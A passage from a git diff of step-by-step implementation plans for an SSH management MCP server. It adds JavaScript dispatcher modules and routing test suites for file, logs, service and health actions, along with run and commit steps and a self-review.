handlers: { diff }, + args: { server: 's', action: 'diff', path_a: '/a', path_b: '/b' }, + }); + assert.strictEqual(diff.calls.length, 1); + assert.strictEqual(diff.calls[0].args.path_a, '/a'); +}); + +await test('deploy routes to handlers.deploy with getSftp in ctx', async () => { + const deploy = spy(); + await handleSshFile({ + deps: DEPS, handlers: { deploy }, + args: { + server: 's', action: 'deploy', + artifact_local_path: '/a', target_path: '/t', + }, + }); + assert.strictEqual(deploy.calls.length, 1); + assert.strictEqual(deploy.calls[0].getSftp, DEPS.getSftp); + assert.strictEqual(deploy.calls[0].args.artifact_local_path, '/a'); +}); + +await test('deploy-artifact routes to handlers.deploy', async () => { + const deploy = spy(); + await handleSshFile({ + deps: DEPS, handlers: { deploy }, + args: { + server: 's', action: 'deploy-artifact', + artifact_local_path: '/a', target_path: '/t', + }, + }); + assert.strictEqual(deploy.calls.length, 1); +}); + +// --- arg validation ------------------------------------------------------ +await test('upload missing local_path -> structured fail, handler not called', async () => { + const upload = spy(); + const r = await handleSshFile({ + deps: DEPS, handlers: { upload }, + args: { server: 's', action: 'upload', remote_path: '/r' }, + }); + assert.strictEqual(upload.calls.length, 0); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('local_path')); +}); + +await test('write missing content -> structured fail', async () => { + const r = await handleSshFile({ + deps: DEPS, handlers: { edit: spy() }, + args: { server: 's', action: 'write', remote_path: '/tmp/f' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('content')); +}); + +await test('sync missing destination -> structured fail', async () => { + const r = await handleSshFile({ + deps: DEPS, handlers: { sync: spy() }, + args: { server: 's', action: 'sync', source: 'local:/a' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('destination')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshFile({ + deps: DEPS, handlers: {}, + args: { server: 's', action: 'teleport' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('teleport')); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-dispatcher-file.js` +Expected: FAIL — `Cannot find module '../src/dispatchers/ssh-file.js'`. + +- [ ] **Step 3: Write the implementation** + +Create `src/dispatchers/ssh-file.js`: + +```javascript +/** + * ssh_file -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_upload / ssh_download / ssh_sync / ssh_cat / ssh_edit / + * ssh_diff / ssh_deploy / ssh_deploy_artifact. Routes `action` to an existing + * handler, mapping v4 snake_case args to each handler's arg names. + * + * read -> handleSshCat (remote_path -> file). + * write -> handleSshEdit whole-file replace (content -> new_content). + * edit -> handleSshEdit find/replace patch (old_text/new_text -> patch[]). + * + * handlers (injected): { upload, download, sync, cat, edit, diff, deploy }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + upload: ['server', 'local_path', 'remote_path'], + download: ['server', 'local_path', 'remote_path'], + sync: ['server', 'source', 'destination'], + read: ['server', 'remote_path'], + write: ['server', 'remote_path', 'content'], + edit: ['server', 'remote_path'], + diff: ['server', 'path_a', 'path_b'], + deploy: ['server', 'artifact_local_path', 'target_path'], + 'deploy-artifact': ['server', 'artifact_local_path', 'target_path'], +}; + +export async function handleSshFile({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_file', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_file', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_file', action, a, REQUIRED); + if (bad) return bad; + + switch (action) { + case 'upload': + return handlers.upload(makeCtx('conn', deps, { + server: a.server, + local_path: a.local_path, + remote_path: a.remote_path, + preview: a.preview, + format: a.format, + })); + + case 'download': + return handlers.download(makeCtx('conn', deps, { + server: a.server, + local_path: a.local_path, + remote_path: a.remote_path, + preview: a.preview, + format: a.format, + })); + + case 'sync': + return handlers.sync(makeCtx('conn-cfg', deps, { + server: a.server, + source: a.source, + destination: a.destination, + exclude: a.exclude, + delete: a.delete_extra, + preview: a.preview, + format: a.format, + })); + + case 'read': + return handlers.cat(makeCtx('conn', deps, { + server: a.server, + file: a.remote_path, + head: a.head, + tail: a.tail, + grep: a.grep, + line_start: a.line_start, + line_end: a.line_end, + format: a.format, + })); + + case 'write': + return handlers.edit(makeCtx('conn', deps, { + server: a.server, + path: a.remote_path, + new_content: a.content, + preview: a.preview, + format: a.format, + })); + + case 'edit': + return handlers.edit(makeCtx('conn', deps, { + server: a.server, + path: a.remote_path, + patch: a.old_text != null ? [{ find: a.old_text, replace: a.new_text ?? '' }] : undefined, + preview: a.preview, + format: a.format, + })); + + case 'diff': + return handlers.diff(makeCtx('conn', deps, { + server: a.server, + path_a: a.path_a, + path_b: a.path_b, + server_b: a.server_b, + preview: a.preview, + format: a.format, + })); + + case 'deploy': + case 'deploy-artifact': + default: + return handlers.deploy(makeCtx('deploy', deps, { + server: a.server, + artifact_local_path: a.artifact_local_path, + target_path: a.target_path, + post_hooks: a.post_hooks, + health_check: a.health_check, + rollback_on_fail: a.rollback_on_fail, + permissions: a.permissions, + owner: a.owner, + preview: a.preview, + format: a.format, + })); + } +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-dispatcher-file.js` +Expected: PASS — `13 passed, 0 failed`. + +- [ ] **Step 5: Run the full suite to confirm zero regressions** + +Run: `npm test` +Expected: `39 files, 727 passed, 0 failed` — the previous 690, plus the 14-test `test-dispatcher-ctx.js`, 10-test `test-dispatcher-run.js`, and 13-test `test-dispatcher-file.js` suites (14 + 10 + 13 = 37; 690 + 37 = 727). Re-count from the actual run; the exact total is whatever `npm test` prints. Because this plan only *adds* files and never touches `index.js` or any existing module, every pre-existing suite must still pass unchanged. + +> If the printed total differs from 727, do not "fix" a test to hit a number — confirm the three new suites each printed their expected pass counts (14 / 10 / 13) and that no pre-existing suite regressed, then record the real total. + +- [ ] **Step 6: Commit** + +```bash +git add src/dispatchers/ssh-file.js tests/test-dispatcher-file.js +git commit -m "feat: add ssh_file v4 dispatcher" +``` + +--- + +## Done criteria + +- `src/dispatchers/` contains `action-validate.js`, `ctx-factory.js`, `ssh-run.js`, `ssh-file.js`. +- `ssh_run` dispatches `exec` / `sudo` / `fleet`; `ssh_file` dispatches `upload` / `download` / `sync` / `read` / `write` / `edit` / `diff` / `deploy` / `deploy-artifact`. +- Every dispatcher validates per-action required args and returns a structured `fail()` MCP response on a miss, without calling the handler. +- `npm test` is green: the three new suites pass (14 / 10 / 13) and zero pre-existing suites regress. +- `src/index.js`, `src/tool-registry.js`, `src/tool-annotations.js` are untouched — the cutover is Part 3. +- No handler in `src/tools/*.js` was modified. + +Part 2 builds the remaining ten dispatchers (`ssh_logs`, `ssh_service`, `ssh_health`, `ssh_db`, `ssh_backup`, `ssh_session`, `ssh_net`, `ssh_docker`, `ssh_fleet`, `ssh_plan`) on the same `ctx-factory` + `action-validate` framework. Part 3 wires all twelve dispatchers into `index.js`, rewrites `tool-registry.js` and `tool-annotations.js` for the 12-tool surface, and rewrites the four coupled test suites. + +--- + +## Self-review + +Performed after drafting, before marking the plan ready. + +**Spec coverage (sections 3, 7).** +- "13 fat verb-tools, dispatchers over existing handlers" — this part delivers the framework + 2 of the 12 in-scope tools (`ssh_find`, the 13th, is Plan 5). Covered; remaining 10 are Part 2, cutover is Part 3. +- "dispatchers assemble the correct per-action context; a ctx-factory helper centralizes this" — `ctx-factory.js`, Task 2. The six handler-context shapes were verified by reading `src/tools/exec-tools.js`, `transfer-tools.js`, `deploy-tools.js`, `cat-tools.js` export signatures and are listed in the cheat-sheet table. +- "every action-scoped argument optional; dispatcher checks a per-action required-arg map and returns structured fail() naming missing args" — `action-validate.js`, Task 1; `REQUIRED` maps in both dispatchers; tested for single + multiple missing args. +- "camelCase aliases dropped; snake_case only" — the dispatchers read snake_case args (`local_path`, `sudo_password`, `delete_extra`) only; no `localPath`/`sudoPassword` aliases. The handler-arg names the dispatcher *targets* (`timeoutMs`, `new_content`, `path`, `password`, `patch`, `delete`) are the existing handlers' internal arg names, verified against the `index.js` registration blocks that call them today — those are not the v4 schema surface, they are the unchanged handler contract. +- "ssh_run here = exec, sudo, fleet only; script/detach/job are Plan 5" — explicit scope note; `REQUIRED` for `ssh_run` has exactly `exec`/`sudo`/`fleet`; `ssh-run.js` rejects any other action. +- "ssh_file action: deploy-artifact" + "ssh_deploy_artifact becomes ssh_file action: deploy-artifact" — both `deploy` and `deploy-artifact` route to the one `handleSshDeploy` handler (which `index.js` today uses for both `ssh_deploy` and `ssh_deploy_artifact`). + +**Placeholder scan.** Searched the draft for "TBD", "similar to", "add validation", "etc.", "...". The only `...` occurrences are real JS spread/rest syntax inside code blocks; no prose placeholder remains. Every code step is complete, copy-pasteable real code. + +**Type consistency.** +- Dispatcher return type: every path returns either a handler's MCP `{ content, isError? }` object or `toMcp(fail(...))` — `toMcp` returns the same `{ content, isError }` shape. Consistent. Confirmed `fail()`/`toMcp()` signatures by reading `src/structured-result.js`: `fail(tool, error, meta)` and `toMcp(result, opts?)`. +- `requireArgs` returns `null | { content, isError:true }` — callers (`ssh-run.js`, `ssh-file.js`) treat a truthy return as a ready MCP response and `return` it directly. Consistent. +- `makeCtx` return: object whose keys are a strict subset of `{getConnection, getServerConfig, resolveGroup, getSftp, args}` — every handler this part touches destructures only keys present in the kind it is given (verified per the cheat-sheet table). `handleSshDeploy` reads `getSftp` optionally; `makeCtx('deploy', ...)` supplies it (test-injected or, in Part 3, omitted — the handler tolerates `undefined`). +- Test runner contract: each new suite prints `N passed, M failed` and calls `process.exit(1)` on failure — matches `scripts/run-tests.mjs` Pattern A. The `async test()` helper is used because dispatchers are async; `await test(...)` at top level is valid in an ESM module. + +**Issue found and fixed inline.** First draft of `ssh-file.js` `edit` always emitted `patch: [{find, replace}]` even when `old_text` was absent (the `write` action does whole-file replace and shares no patch). Fixed: `edit` builds `patch` only when `a.old_text != null`, and `requireArgs` for `edit` requires just `server`+`remote_path` (find/replace pair is optional at the schema layer — `handleSshEdit` itself rejects an empty edit). `write` and `edit` are kept as distinct actions routing to the same handler with different arg shapes, matching `handleSshEdit`'s `new_content` XOR `patch` contract. diff --git a/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-facade-2.md b/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-facade-2.md new file mode 100644 index 0000000..f47644d --- /dev/null +++ b/docs/superpowers/plans/2026-05-17-ssh-mcp-v4-facade-2.md @@ -0,0 +1,2425 @@ +# ssh-mcp v4 Dispatcher Facade Part 2 Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Build the remaining ten v4 fat verb-tool dispatchers — `ssh_logs`, `ssh_service`, `ssh_health`, `ssh_db`, `ssh_backup`, `ssh_session`, `ssh_net`, `ssh_docker`, `ssh_fleet`, `ssh_plan` — each routing an `action` arg to the existing, unchanged handlers in `src/tools/*.js`. + +**Architecture:** Additive only. Ten new modules under `src/dispatchers/`, each exporting one `handle({ deps, handlers, args })` function built on the Part 1 `ctx-factory` (`makeCtx`) and `action-validate` (`requireArgs`) helpers. No handler in `src/tools/*.js` is modified. No `src/index.js` registration changes — Part 3 does the cutover. New routing test suites per dispatcher. Nothing is wired into `index.js`, so this plan ships zero runtime risk and leaves `npm test` green. + +**Tech Stack:** Node.js ESM, the `node:assert`-based suites run by `scripts/run-tests.mjs`, zod v4. + +This is Plan 4 of 6, Part 2 of 3. Part 1 (framework + `ssh_run`, `ssh_file`) is complete. Part 3: the `index.js` / `tool-registry.js` / `tool-annotations.js` registration cutover and the four coupled-suite rewrites. Plan 5: new capabilities (`ssh_find`, `ssh_run` `script`/`detach`/job actions). Source spec: `docs/superpowers/specs/2026-05-16-ssh-mcp-redesign-design.md` section 3. + +### Scope notes + +- `ssh_logs` here covers `tail`, `follow-start`, `follow-read`, `follow-stop`, `journal` — all five map onto existing handlers (`handleSshTail`, `handleSshTailStart`, `handleSshTailRead`, `handleSshTailStop`, `handleSshJournalctl`). Nothing in `ssh_logs` is deferred. +- `ssh_docker` keeps its existing multi-action handler (`handleSshDocker`) first-class — the dispatcher is a thin pass-through that re-labels but does not re-implement Docker's own action enum. +- `ssh_plan`'s injected dispatch table is keyed by the **plan-step action enum** (`exec`, `exec_sudo`, `upload`, `download`, `edit`, `systemctl`, `backup`, `health_check`, ...), not by tool names — see Task 10 for the verified reason. + +--- + +## File Structure + +- **Create `src/dispatchers/ssh-logs.js`** — `handleSshLogs`; actions `tail`, `follow-start`, `follow-read`, `follow-stop`, `journal`. +- **Create `src/dispatchers/ssh-service.js`** — `handleSshService`; actions `status`, `start`, `stop`, `restart`, `enable`, `disable`. +- **Create `src/dispatchers/ssh-health.js`** — `handleSshHealth`; actions `check`, `watch`, `procs`, `alerts`. +- **Create `src/dispatchers/ssh-db.js`** — `handleSshDb`; actions `query`, `list`, `dump`, `import`. +- **Create `src/dispatchers/ssh-backup.js`** — `handleSshBackup`; actions `create`, `list`, `restore`, `schedule`. +- **Create `src/dispatchers/ssh-session.js`** — `handleSshSession`; actions `start`, `send`, `list`, `close`, `replay`, `memory`. +- **Create `src/dispatchers/ssh-net.js`** — `handleSshNet`; actions `tunnel-open`, `tunnel-list`, `tunnel-close`, `port-test`. +- **Create `src/dispatchers/ssh-docker.js`** — `handleSshDocker` dispatcher wrapper; actions `ps`, `logs`, `exec`, `restart`, `inspect`, `compose`. +- **Create `src/dispatchers/ssh-fleet.js`** — `handleSshFleet`; actions `servers`, `groups`, `aliases`, `profiles`, `hooks`, `keys`, `history`, `connections`. +- **Create `src/dispatchers/ssh-plan.js`** — `handleSshPlanTool`; actions `run`, `approve`. +- **Create** one `tests/test-dispatcher-.js` per dispatcher (ten suites), auto-discovered by `scripts/run-tests.mjs`. + +### Handler-context cheat sheet (verified against `src/tools/*.js`) + +| Handler | Context object | ctx kind | +|---|---|---| +| `handleSshTail` | `{ getConnection, args }` | `conn` | +| `handleSshTailStart` | `{ getConnection, args }` | `conn` | +| `handleSshTailRead` / `handleSshTailStop` | `{ args }` | `args` | +| `handleSshJournalctl` | `{ getConnection, args }` | `conn` | +| `handleSshSystemctl` | `{ getConnection, args }` | `conn` | +| `handleSshServiceStatus` | `{ getConnection, args }` | `conn` | +| `handleSshHealthCheck` / `handleSshMonitor` / `handleSshProcessManager` | `{ getConnection, args }` | `conn` | +| `handleSshAlertSetup` | `{ getConnection, args }` | `conn` | +| `handleSshDbQuery` / `handleSshDbList` / `handleSshDbDump` / `handleSshDbImport` | `{ getConnection, args }` | `conn` | +| `handleSshBackupCreate` / `handleSshBackupList` / `handleSshBackupRestore` / `handleSshBackupSchedule` | `{ getConnection, args }` | `conn` | +| `handleSshSessionStart` | `{ getConnection, args, _openShellStream? }` | `conn` | +| `handleSshSessionSend` / `List` / `Close` / `Replay` / `Memory` | `{ args }` | `args` | +| `handleSshTunnelCreate` | `{ getConnection, args }` (reads `ctx`) | `conn` | +| `handleSshTunnelList` / `handleSshTunnelClose` | `{ args }` (reads `ctx`) | `args` | +| `handleSshPortTest` | `{ getConnection, args }` (reads `ctx`) | `conn` | +| `handleSshDocker` | `{ getConnection, args }` | `conn` | +| `handleSshKeyManage` | `{ getServerConfig, args }` (reads `ctx`) | `cfg` | +| `handleSshPlan` | `{ dispatch, args }` | custom — see Task 10 | + +`handleSshSessionStart` reads `_openShellStream` only as an injectable test seam; production omits it and the handler opens the shell itself. The dispatcher uses `makeCtx('conn', ...)` and never supplies `_openShellStream`. + +`handleSshTunnelCreate`/`List`/`Close`, `handleSshPortTest`, `handleSshKeyManage` declare their parameter as `ctx = {}` then destructure — `makeCtx` produces exactly that object, so passing `makeCtx(...)` directly as the single argument works. + +--- + +## Task 1: `ssh_logs` dispatcher + +`ssh_logs` collapses `ssh_tail`, `ssh_tail_start`, `ssh_tail_read`, `ssh_tail_stop`, `ssh_journalctl`. Five actions: `tail`, `follow-start`, `follow-read`, `follow-stop`, `journal`. + +**Files:** +- Create: `src/dispatchers/ssh-logs.js` +- Test: `tests/test-dispatcher-logs.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-dispatcher-logs.js`: + +```javascript +#!/usr/bin/env node +/** + * Routing suite for the ssh_logs v4 dispatcher (src/dispatchers/ssh-logs.js). + * Run: node tests/test-dispatcher-logs.js + */ +import assert from 'assert'; +import { handleSshLogs } from '../src/dispatchers/ssh-logs.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { getConnection: () => 'CONN' }; + +console.log('[test] Testing ssh_logs dispatcher\n'); + +await test('tail routes to handlers.tail with { getConnection, args }', async () => { + const tail = spy(); + await handleSshLogs({ + deps: DEPS, handlers: { tail }, + args: { server: 's', action: 'tail', file: '/var/log/x', lines: 30 }, + }); + assert.strictEqual(tail.calls.length, 1); + assert.strictEqual(tail.calls[0].getConnection, DEPS.getConnection); + assert.strictEqual(tail.calls[0].args.file, '/var/log/x'); + assert.strictEqual(tail.calls[0].args.lines, 30); +}); + +await test('follow-start routes to handlers.tailStart', async () => { + const tailStart = spy(); + await handleSshLogs({ + deps: DEPS, handlers: { tailStart }, + args: { server: 's', action: 'follow-start', file: '/var/log/x' }, + }); + assert.strictEqual(tailStart.calls.length, 1); + assert.strictEqual(tailStart.calls[0].args.file, '/var/log/x'); +}); + +await test('follow-read routes to handlers.tailRead with { args } only', async () => { + const tailRead = spy(); + await handleSshLogs({ + deps: DEPS, handlers: { tailRead }, + args: { action: 'follow-read', session_id: 'sess-1', since_offset: 12 }, + }); + assert.strictEqual(tailRead.calls.length, 1); + assert.deepStrictEqual(Object.keys(tailRead.calls[0]), ['args']); + assert.strictEqual(tailRead.calls[0].args.session_id, 'sess-1'); + assert.strictEqual(tailRead.calls[0].args.since_offset, 12); +}); + +await test('follow-stop routes to handlers.tailStop with { args } only', async () => { + const tailStop = spy(); + await handleSshLogs({ + deps: DEPS, handlers: { tailStop }, + args: { action: 'follow-stop', session_id: 'sess-1' }, + }); + assert.strictEqual(tailStop.calls.length, 1); + assert.deepStrictEqual(Object.keys(tailStop.calls[0]), ['args']); +}); + +await test('journal routes to handlers.journal', async () => { + const journal = spy(); + await handleSshLogs({ + deps: DEPS, handlers: { journal }, + args: { server: 's', action: 'journal', unit: 'sshd.service', since: '1 hour ago' }, + }); + assert.strictEqual(journal.calls.length, 1); + assert.strictEqual(journal.calls[0].args.unit, 'sshd.service'); + assert.strictEqual(journal.calls[0].args.since, '1 hour ago'); +}); + +await test('tail missing file -> structured fail, handler not called', async () => { + const tail = spy(); + const r = await handleSshLogs({ + deps: DEPS, handlers: { tail }, + args: { server: 's', action: 'tail' }, + }); + assert.strictEqual(tail.calls.length, 0); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('file')); +}); + +await test('follow-read missing session_id -> structured fail', async () => { + const r = await handleSshLogs({ + deps: DEPS, handlers: { tailRead: spy() }, + args: { action: 'follow-read' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('session_id')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshLogs({ deps: DEPS, handlers: {}, args: { action: 'sniff' } }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('sniff')); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-dispatcher-logs.js` +Expected: FAIL — `Cannot find module '../src/dispatchers/ssh-logs.js'`. + +- [ ] **Step 3: Write the implementation** + +Create `src/dispatchers/ssh-logs.js`: + +```javascript +/** + * ssh_logs -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_tail / ssh_tail_start / ssh_tail_read / ssh_tail_stop / + * ssh_journalctl. Routes `action` to an existing handler. + * + * handlers (injected): { tail, tailStart, tailRead, tailStop, journal }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + tail: ['server', 'file'], + 'follow-start': ['server', 'file'], + 'follow-read': ['session_id'], + 'follow-stop': ['session_id'], + journal: ['server'], +}; + +export async function handleSshLogs({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_logs', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_logs', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_logs', action, a, REQUIRED); + if (bad) return bad; + + switch (action) { + case 'tail': + return handlers.tail(makeCtx('conn', deps, { + server: a.server, file: a.file, lines: a.lines, grep: a.grep, format: a.format, + })); + + case 'follow-start': + return handlers.tailStart(makeCtx('conn', deps, { + server: a.server, file: a.file, lines: a.lines, grep: a.grep, format: a.format, + })); + + case 'follow-read': + return handlers.tailRead(makeCtx('args', deps, { + session_id: a.session_id, since_offset: a.since_offset, format: a.format, + })); + + case 'follow-stop': + return handlers.tailStop(makeCtx('args', deps, { + session_id: a.session_id, format: a.format, + })); + + case 'journal': + default: + return handlers.journal(makeCtx('conn', deps, { + server: a.server, unit: a.unit, since: a.since, until: a.until, + priority: a.priority, lines: a.lines, grep: a.grep, format: a.format, + })); + } +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-dispatcher-logs.js` +Expected: PASS — `8 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/dispatchers/ssh-logs.js tests/test-dispatcher-logs.js +git commit -m "feat: add ssh_logs v4 dispatcher" +``` + +--- + +## Task 2: `ssh_service` dispatcher + +`ssh_service` collapses `ssh_service_status` and `ssh_systemctl`. Six actions: `status`, `start`, `stop`, `restart`, `enable`, `disable`. `status` is best served by `handleSshServiceStatus` (typed snapshot); the four mutating actions plus `enable`/`disable` route to `handleSshSystemctl`, whose own `action` enum already includes those verbs. + +**Files:** +- Create: `src/dispatchers/ssh-service.js` +- Test: `tests/test-dispatcher-service.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-dispatcher-service.js`: + +```javascript +#!/usr/bin/env node +/** + * Routing suite for the ssh_service v4 dispatcher (src/dispatchers/ssh-service.js). + * Run: node tests/test-dispatcher-service.js + */ +import assert from 'assert'; +import { handleSshService } from '../src/dispatchers/ssh-service.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { getConnection: () => 'CONN' }; + +console.log('[test] Testing ssh_service dispatcher\n'); + +await test('status routes to handlers.serviceStatus, maps service through', async () => { + const serviceStatus = spy(); + await handleSshService({ + deps: DEPS, handlers: { serviceStatus }, + args: { server: 's', action: 'status', service: 'nginx' }, + }); + assert.strictEqual(serviceStatus.calls.length, 1); + assert.strictEqual(serviceStatus.calls[0].args.service, 'nginx'); + assert.strictEqual(serviceStatus.calls[0].getConnection, DEPS.getConnection); +}); + +await test('restart routes to handlers.systemctl with action+unit set', async () => { + const systemctl = spy(); + await handleSshService({ + deps: DEPS, handlers: { systemctl }, + args: { server: 's', action: 'restart', service: 'nginx' }, + }); + assert.strictEqual(systemctl.calls.length, 1); + assert.strictEqual(systemctl.calls[0].args.action, 'restart'); + assert.strictEqual(systemctl.calls[0].args.unit, 'nginx'); +}); + +await test('start/stop/enable/disable all route to handlers.systemctl', async () => { + for (const action of ['start', 'stop', 'enable', 'disable']) { + const systemctl = spy(); + await handleSshService({ + deps: DEPS, handlers: { systemctl }, + args: { server: 's', action, service: 'sshd' }, + }); + assert.strictEqual(systemctl.calls.length, 1, `${action} reached systemctl`); + assert.strictEqual(systemctl.calls[0].args.action, action); + assert.strictEqual(systemctl.calls[0].args.unit, 'sshd'); + } +}); + +await test('restart forwards preview flag to systemctl', async () => { + const systemctl = spy(); + await handleSshService({ + deps: DEPS, handlers: { systemctl }, + args: { server: 's', action: 'restart', service: 'nginx', preview: true }, + }); + assert.strictEqual(systemctl.calls[0].args.preview, true); +}); + +await test('status missing service -> structured fail, handler not called', async () => { + const serviceStatus = spy(); + const r = await handleSshService({ + deps: DEPS, handlers: { serviceStatus }, + args: { server: 's', action: 'status' }, + }); + assert.strictEqual(serviceStatus.calls.length, 0); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('service')); +}); + +await test('restart missing service -> structured fail', async () => { + const r = await handleSshService({ + deps: DEPS, handlers: { systemctl: spy() }, + args: { server: 's', action: 'restart' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('service')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshService({ deps: DEPS, handlers: {}, args: { server: 's', action: 'reload-all' } }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('reload-all')); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-dispatcher-service.js` +Expected: FAIL — `Cannot find module '../src/dispatchers/ssh-service.js'`. + +- [ ] **Step 3: Write the implementation** + +Create `src/dispatchers/ssh-service.js`: + +```javascript +/** + * ssh_service -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_service_status / ssh_systemctl. + * status -> handleSshServiceStatus (typed snapshot). + * start/stop/restart/enable/disable -> handleSshSystemctl (its action enum + * already has these verbs); v4 `service` arg maps to systemctl's `unit`. + * + * handlers (injected): { serviceStatus, systemctl }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + status: ['server', 'service'], + start: ['server', 'service'], + stop: ['server', 'service'], + restart: ['server', 'service'], + enable: ['server', 'service'], + disable: ['server', 'service'], +}; + +export async function handleSshService({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_service', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_service', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_service', action, a, REQUIRED); + if (bad) return bad; + + if (action === 'status') { + return handlers.serviceStatus(makeCtx('conn', deps, { + server: a.server, service: a.service, format: a.format, + })); + } + + // start / stop / restart / enable / disable -> systemctl + return handlers.systemctl(makeCtx('conn', deps, { + server: a.server, + action, + unit: a.service, + preview: a.preview, + format: a.format, + })); +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-dispatcher-service.js` +Expected: PASS — `7 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/dispatchers/ssh-service.js tests/test-dispatcher-service.js +git commit -m "feat: add ssh_service v4 dispatcher" +``` + +--- + +## Task 3: `ssh_health` dispatcher + +`ssh_health` collapses `ssh_health_check`, `ssh_monitor`, `ssh_process_manager`, `ssh_alert_setup`. Four actions: `check` -> `handleSshHealthCheck`; `watch` -> `handleSshMonitor`; `procs` -> `handleSshProcessManager`; `alerts` -> `handleSshAlertSetup`. + +**Files:** +- Create: `src/dispatchers/ssh-health.js` +- Test: `tests/test-dispatcher-health.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-dispatcher-health.js`: + +```javascript +#!/usr/bin/env node +/** + * Routing suite for the ssh_health v4 dispatcher (src/dispatchers/ssh-health.js). + * Run: node tests/test-dispatcher-health.js + */ +import assert from 'assert'; +import { handleSshHealth } from '../src/dispatchers/ssh-health.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { getConnection: () => 'CONN' }; + +console.log('[test] Testing ssh_health dispatcher\n'); + +await test('check routes to handlers.healthCheck', async () => { + const healthCheck = spy(); + await handleSshHealth({ + deps: DEPS, handlers: { healthCheck }, + args: { server: 's', action: 'check' }, + }); + assert.strictEqual(healthCheck.calls.length, 1); + assert.strictEqual(healthCheck.calls[0].args.server, 's'); + assert.strictEqual(healthCheck.calls[0].getConnection, DEPS.getConnection); +}); + +await test('watch routes to handlers.monitor, maps watch_type -> type', async () => { + const monitor = spy(); + await handleSshHealth({ + deps: DEPS, handlers: { monitor }, + args: { server: 's', action: 'watch', 